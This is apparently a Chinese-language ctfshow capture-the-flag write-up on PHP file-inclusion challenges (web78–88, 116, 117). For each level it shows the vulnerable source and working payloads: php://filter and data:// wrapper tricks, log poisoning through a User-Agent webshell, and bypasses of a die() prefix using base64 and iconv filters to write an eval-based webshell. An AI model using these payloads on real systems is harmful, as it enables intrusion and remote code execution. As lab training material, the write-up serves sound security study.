0%

ctfshow-文件包含

文件包含

web78

1
2
3
4
5
6
7
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

简单的文件包含,filter伪协议一把梭

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

试了一下data伪协议也可以用

1
?file=data://text/plain,<?php cat flag.php ?>

data伪协议有个好处,能够知道flag文件的名字;靶场的能直接梭是因为flag.php是固定的flag名

web79

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

把php字符串替换成???
这里filter协议就用不了了
可以用data伪协议,加密成base64,可以绕过

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=

base64解码是

web80

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了php和data,伪协议都不能用,用日志包含

1
?file=/var/log/nginx/access.log


这里没出,环境不好,看看payload就行

web81


也是日志包含,UA写马
UA改成POST木马,然后file包含日志
POST传参木马,执行命令

1
1=system("cat fl0g.php");

源代码就能看到flag文件

web82-86

条件竞争,跳过了

web87

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

先审计代码,代码里要get传参file,post传参content,还有一个urldecode函数,代码里会对file传的参进行一次url解码,网页会自动进行一次解码,所以要进行两次url编码,用filter伪协议,写入一个木马文件

1
?file=php://filter/write=convert.base64-encode/resource=shell.php

进行两次url编码变成

1
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30

那么现在get传参的问题解决了,现在要post传参绕过die函数
上网搜了一下,用base64编码可以绕过die函数
但是base64支持的字符只有64个,所以<?php die()> 里面的<?()> 这些特殊字符会被忽略掉,只看phpdie,并对他进行base64解码,但是base64解码的话,得要四个字节一组,所以得在后面添加两个字符,才能对他进行base64解码
前面是phpdie,加上任意两个字符,例如aa,bb,11 然后再加上一句话木马想写入的内容

1
2
<?php @eval($_GET["cmd"]); ?>
PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTsgPz4=

在之前加上aa,再进行传参

1
content=aaPD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTsgPz4=

成功之后访问shell.php,参数cmd传参

查看fl0g.php,flag在源代码里

web88

1
2
3
4
5
6
7
8
9
10
<?
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

可以用data伪协议,执行命令

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4


可以看到正常base64加密是多一个=的,但是实际传参传=的时候,会进入代码的黑名单里,从而报错
所以不要加=,实际base64传参的结果也是正确的

最终paylad:

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJubCBmbDBnLnBocCIpPz4

base64解码是
原base64编码有=号,防止被黑名单过滤,要去掉=,且不能出现+号

web116

题目说是misc+lfi
进去一看是个视频,有点懵逼,但是他说有misc,那就把视频下载下来分析一下
视频里没啥特别的地方
正好前面安装了wsl,就在wsl里面做题目,省的开虚拟机,很方便,具体可以看 这里
wsl跟Windows的目录是互通的

在wsl的/mnt目录下面可以直接跳转到Windows的目录,C盘D盘这些的
然后就是binwalk分离看一下

可以看到一个png文件

图片里是php源代码

审计一下发现源码里是get方式传参file
过滤了一些,但是无所谓,直接传参file=flag.php
禁用了ctrl+u,输入view-source就能拿到flag了

web117

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
?>

看到file想到伪协议,过滤了base64和rot13协议,还有别的很多协议可以用
用iconv*协议
get传参

1
?file=php://filter/convert.iconv.usc-2be.usc-2le/resource=5.php

post传参

1
contents=<?hp pvela$(G_TE'['a]); ?>

post传参的代码有些奇怪,可以在Linux里试验一下
经过伪协议的编码,会变成

1
<?php eval($_GET["a"]);?>

能成功传入进去